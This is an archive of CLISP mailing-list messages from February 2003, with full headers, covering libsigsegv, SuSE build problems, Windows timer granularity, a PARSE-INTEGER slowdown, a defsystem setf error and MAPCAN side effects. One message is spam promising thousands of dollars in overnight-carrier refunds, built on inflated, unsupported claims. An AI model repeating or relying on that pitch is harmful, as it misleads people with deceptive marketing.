Feb 2003 10:27:53 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h1PFRqti011474; Tue, 25 Feb 2003 10:27:52 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] about libsigsegv References: <9F8582E37B2EE5498E76392AEDDCD3FE0234EDED@G8PQD.blf01.telekom.de> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE0234EDED@G8PQD.blf01.telekom.de> Message-ID: Lines: 25 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at pop017.verizon.net from [151.203.48.207] at Tue, 25 Feb 2003 09:26:58 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Feb 25 07:28:33 2003 X-Original-Date: 25 Feb 2003 10:27:51 -0500 > * In message <9F8582E37B2EE5498E76392AEDDCD3FE0234EDED@G8PQD.blf01.telekom.de> > * On the subject of "[clisp-list] about libsigsegv" > * Sent on Tue, 25 Feb 2003 10:46:06 +0100 > * Honorable "Hoehle, Joerg-Cyril" writes: > > What is sigsegv used for? SP-overflow detection. > What happens when it's not there? you get a segfault instead of "Program stack overflow. RESET." on some platforms. > I'm not in favour of removing a "highly recommended" library from the > source tree, especially considering its small size. we also "highly recommend" readline and libiconv. we cannot distribute with CLISP all the libraries we want to use. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux If You Want Breakfast In Bed, Sleep In the Kitchen. From edi@agharta.de Tue Feb 25 10:43:26 2003 Received: from duke.agharta.de ([62.159.208.84]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18nk2z-0007E9-00 for ; Tue, 25 Feb 2003 10:43:23 -0800 Received: by duke.agharta.de (Postfix, from userid 1000) id E9D49260136; Tue, 25 Feb 2003 19:43:14 +0100 (CET) To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Suse Linux 8.2 compilation issues: libtermcap and cp1255/cp1258 m issing References: <9F8582E37B2EE5498E76392AEDDCD3FE0234ED7B@G8PQD.blf01.telekom.de> Reply-To: edi@agharta.de From: Edi Weitz In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE0234ED7B@G8PQD.blf01.telekom.de> Message-ID: <874r6surp9.fsf@duke.agharta.de> Lines: 2 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Feb 25 10:44:05 2003 X-Original-Date: 25 Feb 2003 19:43:14 +0100 Did you work with an internal beta version? The "official" SuSE is at 8.1 AFAIK. From sendinfo@cfl.rr.com Tue Feb 25 12:02:23 2003 Received: from ms-smtp-01.tampabay.rr.com ([65.32.1.43]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18nlHR-0005Sx-00 for ; Tue, 25 Feb 2003 12:02:21 -0800 Received: from david-congero (167.50.35.65.cfl.rr.com [65.35.50.167]) by ms-smtp-01.tampabay.rr.com (8.12.5/8.12.5) with SMTP id h1PJe2FW001784 for ; Tue, 25 Feb 2003 15:02:18 -0500 (EST) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii From: Express Recovery Systems To: clisp-list@sourceforge.net Message-ID: <200322554144clisp-list@clisp.cons.org> Content-Transfer-Encoding: quoted-printable X-MIME-Autoconverted: from 8bit to quoted-printable by ms-smtp-01.tampabay.rr.com id h1PJe2FW001784 Subject: [clisp-list] Money Owed To You Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Feb 25 12:03:16 2003 X-Original-Date: Tue, 25 Feb 2003 15:02:24 -0600 Express Recovery Systems For more information simply type more info in the subject line Your Overnight Carrier Owes You Thousands Of Dollars! How would you like to recover thousands of dollars owed to you by Fed Ex = or UPS? Are you aware that up to 10 % of all packages are delivered late?= When this happens you are owed a full refund. The problem for you is it = will take you hours of work to find which ones are owed a refund and then= battling with Fed Ex or UPS to get the proper credit to your account. Ou= r system is fully automated; we will do it for you.=20 To you this could mean: =B7 Money- it's yours only if you claim it =B7 No effort on your part- our system does it for you =B7 Reduced overnight cost- without switching carriers Ask yourself this question: am I tired of walking away from my hard-earne= d money? If you answered YES, then E-mail for details, fair enough? In Today=92s Economy How Can You Not inquire NOW!! P.S. How many opportunities do you get to put money in your pocket you ne= ver knew you had coming? It might be the most profitable inquiry you make= today! To remove yourself simply reply to this email with the word remove in the= subjuct line. Thank you for your time From haible@ilog.fr Tue Feb 25 13:22:44 2003 Received: from ftp.ilog.fr ([81.80.162.195]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18nmX7-0005KO-00 for ; Tue, 25 Feb 2003 13:22:37 -0800 Received: from laposte.ilog.fr (cerbere-qe0 [81.80.162.193]) by ftp.ilog.fr (8.12.7/8.12.7) with ESMTP id h1PLMTnX010437 for ; Tue, 25 Feb 2003 22:22:29 +0100 (MET) Received: from honolulu.ilog.fr ([172.16.15.121]) by laposte.ilog.fr (8.11.6/8.11.6) with ESMTP id h1PLMSF05473; Tue, 25 Feb 2003 22:22:28 +0100 (MET) Received: (from haible@localhost) by honolulu.ilog.fr (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id WAA00781; Tue, 25 Feb 2003 22:23:11 +0100 From: Bruno Haible MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15963.57023.272768.497530@honolulu.ilog.fr> To: clisp-list@lists.sourceforge.net Subject: Re: ["Hoehle, Joerg-Cyril" ] [clisp-list] Suse Linux 8.2 compilation issues: libtermcap and cp1255/cp1258 m issing In-Reply-To: References: X-Mailer: VM 6.72 under 21.1 (patch 8) "Bryce Canyon" XEmacs Lucid Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Feb 25 13:23:10 2003 X-Original-Date: Tue, 25 Feb 2003 22:23:11 +0100 (CET) Joerg Hoehle wrote: > The Suse Linux 8.2 machine which I had acccess to had a strictly > minimal server configuration: nothing but mysql, perl, gzip, gcc and > ssh. I added a few packages since then. > ... > ls -al /usr/lib/*term* > lrwxrwxrwx 1 root root 19 Dec 3 13:27 /usr/lib/libtermcap= > .so.2 -> libtermcap.so.2.0.8 > -rwxr-xr-x 1 root root 14411 Sep 9 21:13 /usr/lib/libtermcap= > .so.2.0.8 libtermcap is a permanent security problem. Better remove it from your system, and use libncurses instead. Bruno From Joerg-Cyril.Hoehle@t-systems.com Wed Feb 26 01:40:54 2003 Received: from gw11.telekom.de ([62.225.183.250] helo=fw11.telekom.de) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18ny3J-0000Xp-00 for ; Wed, 26 Feb 2003 01:40:37 -0800 Received: by fw11.telekom.de; (8.8.8/1.3/10May95) id KAA12085; Wed, 26 Feb 2003 10:35:02 +0100 (MET) Received: from g8pbr.blf01.telekom.de by G8PXB.blf01.telekom.de with ESMTP; Wed, 26 Feb 2003 10:39:31 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 26 Feb 2003 10:38:27 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE025EFA92@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: haible@ilog.fr MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] Suse Linux 8.2 compilation issues: libtermcap Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Feb 26 01:41:08 2003 X-Original-Date: Wed, 26 Feb 2003 10:38:26 +0100 Hi, Bruno Haible wrote: >libtermcap is a permanent security problem. Better remove it from your >system, and use libncurses instead. Thanks. Now I have to figure out why this (8.1) Suse Linux system provides lrwxrwxrwx 1 root root 18 Nov 28 11:19 libncursesw.so.5 -> libncursesw.so.5.2 -rwxr-xr-x 1 root root 337823 Sep 9 18:04 libncursesw.so.5.2 but no libncurses witout trailing -w. Since -DUNICODE CLISP uses 16bit characters internally, why does it not require libncursesw instead of libncurses? From what I found, that seems to be the UTF/UCS/16bit version of it. http://mail.gnome.org/archives/mc-devel/2001-October/msg00052.html Anyway, I don't know why CLISP would need termcap/ncurses anyway. So I'm going to compile without (I don't need the keyboard-stream -- I'm not going to ask for an invisible password). Regards, Jorg Hohle. From Joerg-Cyril.Hoehle@t-systems.com Wed Feb 26 05:52:40 2003 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18o1z8-0002cY-00 for ; Wed, 26 Feb 2003 05:52:35 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Wed, 26 Feb 2003 14:52:10 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 26 Feb 2003 14:51:52 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE025EFBD6@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Subject: [clisp-list] internal-time-units-per-second on MS-Wind32 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Feb 26 05:53:12 2003 X-Original-Date: Wed, 26 Feb 2003 14:51:50 +0100 Hi, the internal-time-units-per-second pseudo-constant is documented as = being 10_000_000 on Ms-windows. However: 1. actual values returned by get-internal-run-time only differ by steps = of 15.625 milliseconds (i.e. 156250). 2. actual values returned by get-internal-real-time differ by either = 15.0 or 16.0 milliseconds (i.e. 150000 or 160000). What's the "value" of having an advertised value of 10_000_000 which = (at least) I cannot make sensible use of? Am I missing a MS-windows configuration switch? All I see is that every call to these functions is likely to allocate a = bignum, while granularity is in fact much less. INTERNAL-TIME-UNITS-PER-SECOND of 64 (for 15.625ms increments) would = suffice. BTW, I reported a similar problem to the Jakarta/JMeter list back when = I observed that all reported performance measurements where in fact in = steps of (I interpolated) 15.625 ms increments: times spent were = reported as 15, 16 or integer multiples of 15.625 ms. Regards, J=F6rg H=F6hle. Observed on a MS-windows-2k machine. From Joerg-Cyril.Hoehle@t-systems.com Wed Feb 26 07:05:33 2003 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18o37j-0007eA-00 for ; Wed, 26 Feb 2003 07:05:32 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Wed, 26 Feb 2003 16:05:13 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 26 Feb 2003 16:05:12 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE025EFC27@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net X-Mailer: Internet Mail Service (5.5.2653.19) MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: Quoted-Printable Subject: [clisp-list] parse-integer slowdown & make-string /= make-array of 'character Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Feb 26 07:06:09 2003 X-Original-Date: Wed, 26 Feb 2003 16:05:10 +0100 Hi, I've been hit by a problem where my application suddenly takes ages to complete (several hundreds of seconds) with CLISP 2.30 (both Linux and MS-Windows), whereas it only took ~30 seconds with clisp-2.28 (MS-Windows). PARSE-INTEGER is involved in the tremendous slowdown. Missing an :END argument, it appears to take time depending on (- (length buffer) &start). I observed nothing like this with clisp-2.28. It also appears that MAKE-STRING is very different from MAKE-ARRAY :element-type 'character. Using strings from MAKE-STRING is fast with PARSE-INTEGER, while strings from MAKE-ARRAY exhibit the tremendous slowdow= n. My application is working with :start and :end keywords (sort of a sliding window technique) on a large buffer (130KB), using functions like STRING-=3D, PARSE-INTEGER, POSITION etc. which all accept these keywords. Below, I measure GET-INTERNAl-RUN/REAL-TIME around calls to parse-integer. ;(space (testp 20 (testfS 13000) 10000)) ;use MAKE-STRING ;200_000 calls take 2 seconds, with only 5 computations >50 microsecs SIMPLE-STRING 0 0 1 130008 ;(space (testp 20 (testfA 13000) 10000)) ;use MAKE-ARRAY ;200_000 calls take 233 seconds SIMPLE-STRING 0 0 1 520008 Using clisp-2.28 on MS-Windows, only 65 calls out of 238764 in my application would return a time difference >0. The whole program executes in 30 seconds. Using clisp-2.30 on MS-Windows, 3777 out of 41400 calls would. I interrupted the computation after 68 seconds because it had already taken twice as much time as with 2.28. To complete, it would take a lot more time (41400 << 238764). (* 3777 0.015625) yields 59 seconds. Using clisp-2.30 on Suse Linux 8.1, 150729 out of 156166 calls(!) did take longer than 50 microseconds. I interrupted the job after 178 seconds. Compare this to using the testbed below, where parse-integer usually takes 3-4 microseconds when operating on a string from MAKE-STRING.= The following subseq from my *stats* variable after running my application on Linux shows how PARSE-INTEGER takes time highly dependend on (- (length buffer) start): towards the end of buffer, it takes 6 microseconds to be compared with 2 milliseconds towards the beginning of the 130KB buffer. CAR is elapsed time in microseconds, CDR is buffer :start position (39 . 127328) (38 . 127473) (35 . 127613) (35 . 127753) (32 . 127901) (30 . 128042) (28 . 128183) (26 . 128329) (23 . 128477) (21 . 128626) (19 . 128768) (18 . 128910) (17 . 129052) (16 . 129199) (15 . 129351) (15 . 129503) (13 . 129715) (12 . 129868) (11 . 130017) (9 . 130365) (7 . 130519) (7 . 130671) (6 . 130811) (2330 . 4) (2175 . 152) (2152 . 29= 3) (2183 . 433) (2145 . 574) (2141 . 714) (2131 . 858) (2123 . 998) (2128 . 1138) (2119 . 1287) (2117 . 1435) (2112 . 1577) (2143 . 1717) (2120 . 1857) (2108 . 2000) (2108 . 2144) (2134 . 2288) (2104 . 2431) (2097 . 2583) (2093 . 2723) (2096 . 2863) (2127 . 3003) (2095 . 3148) ; remember times >50 microseconds (defparameter *treshold* (floor (* 50 internal-time-units-per-second) 10000= 00)) ;*treshold* (defvar *stats* (make-array 200 :fill-pointer 0 :adjustable t)) ;(setf (fill-pointer *stats*) 0) ;(length *stats*) ;(subseq *stats* 0 500) ;(space (ignore-errors (ext:muffle-cerrors (run-analyses gesamt)))) (defun my-parse-integer (line &key (start 0) (end nil) junk-allowed) (let ((from (get-internal-run-time))) (prog1 (parse-integer line :start start :junk-allowed junk-allowed) (let ((diff (- (get-internal-run-time) from))) =09(when (> diff *treshold*) =09 (vector-push-extend (cons diff start) *stats*)))))) (defparameter *item* " 13b;") (defun testf (len) (let ((s (make-string (* (length *item*) len)))) (loop repeat len =09 for pos from 0 by (length *item*) =09 do (replace s *item* :start1 pos)) s)) (defun testp (iter s len) (let ((result 0)) (dotimes (i iter result) (dotimes (j len) =09(incf result (or (my-parse-integer s :start (* #.(length *item*) j) :jun= k-allowed t) =09=09=09 (error "Broken at ~D (~D) of ~D~%" j len i))))))) Yet both types report as the same: ANALYSE-LOG[480]> (describe (make-string 3)) "^@^@^@" is a simple 1 dimensional array (vector) of characters, of size 3.= ANALYSE-LOG[481]> (describe (make-array 3 :element-type 'character)) "^@^@^@" is a simple 1 dimensional array (vector) of characters, of size 3.= Similarly, (ARRAY-ELEMENT-TYPE x) -> CHARACTER Both MS-windows builts using MSVC6 feature :UNICODE and :BASE-CHAR=3DCHARAC= TER. What changed between 2.28 and 2.30, producing such a dramatic impact? Thanks for your attention, =09J=F6rg H=F6hle. It took me 2 days to track down a small reproducible test case and realise that my testbed used MAKE-STRING, whereas my application uses MAKE-ARRAY. Maybe compiling without UNICODE would have saved my days. From lisp-clisp-list@m.gmane.org Wed Feb 26 08:34:45 2003 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18o4W3-0002M8-00 for ; Wed, 26 Feb 2003 08:34:44 -0800 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18o4Vk-0006fL-00 for ; Wed, 26 Feb 2003 17:34:24 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18o4Vg-0006et-00 for ; Wed, 26 Feb 2003 17:34:20 +0100 From: Christian Schuhegger Lines: 80 Message-ID: <3E5CEC9B.6030606@cern.ch> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="------------030402050009050101050108" X-Complaints-To: usenet@main.gmane.org User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.3b) Gecko/20030210 X-Accept-Language: en-us, en Subject: [clisp-list] strange interaction between clisp / clocc's defsystem-3.x Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Feb 26 08:35:08 2003 X-Original-Date: Wed, 26 Feb 2003 17:34:35 +0100 This is a multi-part message in MIME format. --------------030402050009050101050108 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit hello, i am having difficulties with some code which works fine in clisp 2.30 as long as i only use the default require / provides mechanism for defining dependencies. but when i use defsystem from clocc i get an error. the original program is not mine, and i am just trying to understand it, but in the attached file you can see the part of the code that produces the problem. when i load the original program (not this boiled down test file) with defsystem i get the following problem: 1. Break [16]> (type-of jt-node) JT-NODE 1. Break [21]> (get-setf-expansion '(jt-table jt-node)) (#:G2873) ; (JT-NODE) ; (#:G2874) ; (SYSTEM::%STRUCTURE-STORE 'JT-SEPARATOR #:G2873 2 #:G2874) ; (JT-TABLE #:G2873) i have an object of type jt-node, but the setf expansion wants to have a jt-separator object and the error produced looks like this: *** - SYSTEM::%STRUCTURE-STORE: #S(JT-NODE :VARIABLES (BOWEL FAMILY DOG) :TABLE #3A(((1.0 1.0) (1.0 1.0)) ((1.0 1.0) (1.0 1.0))) :NAME #:C2845 :NEIGHBOURS NIL) is not a structure of type JT-SEPARATOR i did not find any defsetf or similar in the original program which would have an influence on the behaviour of the jt-table slot. and besides that everything works fine with require / provides. the single test file is just giving the bare minimum of the program and i am not able to reproduce the problem with this signle test file, but i am able to reproduce it in the original program. my question is now if anybody could tell me if there are certain pitfalls i should watchout for in order to debug this problem? many thanks for any hints!! -- Christian Schuhegger --------------030402050009050101050108 Content-Type: text/plain; name="test.lisp" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="test.lisp" (defstruct (jt-element (:conc-name jt-)) variables table) (defstruct (jt-finding (:include jt-element) (:conc-name jt-))) (defstruct (jt-node (:include jt-element) (:conc-name jt-)) name neighbours) (defstruct (jt-separator (:include jt-element) (:conc-name jt-)) neighbour1 neighbour2) (defvar *my-jt-node* (make-jt-node :name 1 :variables 2 :table 3)) (setf (jt-table *my-jt-node*) 4) --------------030402050009050101050108-- From pimlott@idiomtech.com Thu Feb 27 05:39:48 2003 Received: from h00a0cc5ad757.ne.client2.attbi.com ([65.96.178.14] helo=techloaner2.idiomtech.com) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18oOGJ-0004Gu-00 for ; Thu, 27 Feb 2003 05:39:47 -0800 Received: from pimlott by techloaner2.idiomtech.com with local (Exim 3.36 #1 (Debian)) id 18oO2g-0008Cf-00 for ; Thu, 27 Feb 2003 08:25:42 -0500 From: Andrew Pimlott To: clisp-list@lists.sourceforge.net Message-ID: <20030227132542.GA31399@techloaner2.idiomtech.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4i Subject: [clisp-list] can mapcan do this? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Feb 27 05:40:20 2003 X-Original-Date: Thu, 27 Feb 2003 08:25:42 -0500 This blew me away: > (setf c '((PIG2 BLUE4) (PIG1 RED))) ((PIG2 BLUE4) (PIG1 RED)) > (mapcan #'(lambda (p) (cdr (assoc p c))) '(PIG1 PIG2)) (RED BLUE4) > c ((PIG2 RED BLUE4) (PIG1 BLUE4)) c has been modified, but not in the way I expected: the cdrs of '(PIG2 BLUE4) and '(PIG1 RED) have been swapped. Does this mean that the lambda really returns by reference? And what is the point of this? It seems to me that whichever way you combine the two lists, you need three pointers (one for the beginning of the first list, one for the beginning of the second, and one to traverse the first), so why pick the way that has unintuitive results? Moreover, the reference I am using http://www.lispworks.com/reference/HyperSpec/Body/f_mapc_.htm#mapcan indicates that (mapcar ...) is equivalent to (apply #'nconc (mapcar ...)), and > (setf c '((PIG2 BLUE4) (PIG1 RED))) ((PIG2 BLUE4) (PIG1 RED)) > (apply #'nconc (mapcar #'(lambda (p) (cdr (assoc p c))) '(PIG1 PIG2))) (RED BLUE4) > c ((PIG2 BLUE4) (PIG1 RED BLUE4)) So is mapcan allowed to do this? Or am I wrong in understanding that the two must have the same side-effects? Thanks, Andrew PS. Please Cc: me on replies. From sds@gnu.org Thu Feb 27 06:23:37 2003 Received: from pop018pub.verizon.net ([206.46.170.212] helo=pop018.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18oOwj-00082l-00 for ; Thu, 27 Feb 2003 06:23:37 -0800 Received: from loiso.podval.org ([151.203.48.207]) by pop018.verizon.net (InterMail vM.5.01.05.27 201-253-122-126-127-20021220) with ESMTP id <20030227142330.ZVBQ6884.pop018.verizon.net@loiso.podval.org>; Thu, 27 Feb 2003 08:23:30 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h1REOUcO005815; Thu, 27 Feb 2003 09:24:31 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h1REOPju005811; Thu, 27 Feb 2003 09:24:25 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Andrew Pimlott Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] can mapcan do this? References: <20030227132542.GA31399@techloaner2.idiomtech.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20030227132542.GA31399@techloaner2.idiomtech.com> Message-ID: Lines: 51 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at pop018.verizon.net from [151.203.48.207] at Thu, 27 Feb 2003 08:23:30 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Feb 27 06:24:07 2003 X-Original-Date: 27 Feb 2003 09:24:25 -0500 > * In message <20030227132542.GA31399@techloaner2.idiomtech.com> > * On the subject of "[clisp-list] can mapcan do this?" > * Sent on Thu, 27 Feb 2003 08:25:42 -0500 > * Honorable Andrew Pimlott writes: > > This blew me away: > > > (setf c '((PIG2 BLUE4) (PIG1 RED))) > ((PIG2 BLUE4) (PIG1 RED)) > > (mapcan #'(lambda (p) (cdr (assoc p c))) '(PIG1 PIG2)) > (RED BLUE4) > > c > ((PIG2 RED BLUE4) (PIG1 BLUE4)) > > c has been modified, but not in the way I expected: the cdrs of > '(PIG2 BLUE4) and '(PIG1 RED) have been swapped. Does this mean > that the lambda really returns by reference? And what is the point > of this? It seems to me that whichever way you combine the two > lists, you need three pointers (one for the beginning of the first > list, one for the beginning of the second, and one to traverse the > first), so why pick the way that has unintuitive results? You did not specify which version of CLISP you are using. I must assume that it is not the current CVS head (which behaves the way you expect). > Moreover, the reference I am using > > http://www.lispworks.com/reference/HyperSpec/Body/f_mapc_.htm#mapcan > > indicates that (mapcar ...) is equivalent to (apply #'nconc (mapcar > ...)), and > > > (setf c '((PIG2 BLUE4) (PIG1 RED))) > ((PIG2 BLUE4) (PIG1 RED)) > > (apply #'nconc (mapcar #'(lambda (p) (cdr (assoc p c))) '(PIG1 PIG2))) > (RED BLUE4) > > c > ((PIG2 BLUE4) (PIG1 RED BLUE4)) > > So is mapcan allowed to do this? Or am I wrong in understanding that > the two must have the same side-effects? It may be argued both ways. At any rate, the next release will behave the way you expect. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux PI seconds is a nanocentury From andrew@pimlott.net Thu Feb 27 07:52:12 2003 Received: from sccrmhc01.attbi.com ([204.127.202.61]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18oQJx-0007xw-00 for ; Thu, 27 Feb 2003 07:51:41 -0800 Received: from madstop.pimlott.net (h00a0cc5ad757.ne.client2.attbi.com[65.96.178.14]) by sccrmhc01.attbi.com (sccrmhc01) with ESMTP id <2003022715510400100l3d22e>; Thu, 27 Feb 2003 15:51:04 +0000 Received: from andrew by madstop.pimlott.net with local (Exim 3.35 #1 (Debian)) id 18oQ2S-00006S-00 for ; Thu, 27 Feb 2003 10:33:36 -0500 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] can mapcan do this? Message-ID: <20030227153336.GA32633@pimlott.net> References: <20030227132542.GA31399@techloaner2.idiomtech.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.28i From: Andrew Pimlott Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Feb 27 07:53:03 2003 X-Original-Date: Thu, 27 Feb 2003 10:33:36 -0500 On Thu, Feb 27, 2003 at 09:24:25AM -0500, Sam Steingold wrote: > You did not specify which version of CLISP you are using. I really really meant to. ;-) I am using GNU CLISP 2.30 (released 2002-09-15) on Debian GNU/Linux (compiled myself from the 2.30-6 Debian source package). > I must assume that it is not the current CVS head (which behaves the way > you expect). Thanks for your reply. Andrew From running@lycos.com Thu Feb 27 12:25:11 2003 Received: from [62.150.56.83] (helo=200.206.207.13) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18oUaY-0001ho-00 for ; Thu, 27 Feb 2003 12:25:09 -0800 Received: from [106.226.127.61] by n7.groups.yahoo.com with local; Feb, 27 2003 2:23:54 PM -0700 Received: from [159.218.252.32] by n7.groups.yahoo.com with SMTP; Feb, 27 2003 1:17:55 PM -0300 From: Lisa To: clisp-list@lists.sourceforge.net Mime-Version: 1.0 Content-Type: text/html; charset="iso-8859-1" X-Mailer: The Bat! (v1.52f) Business Message-Id: Subject: [clisp-list]

NEXT

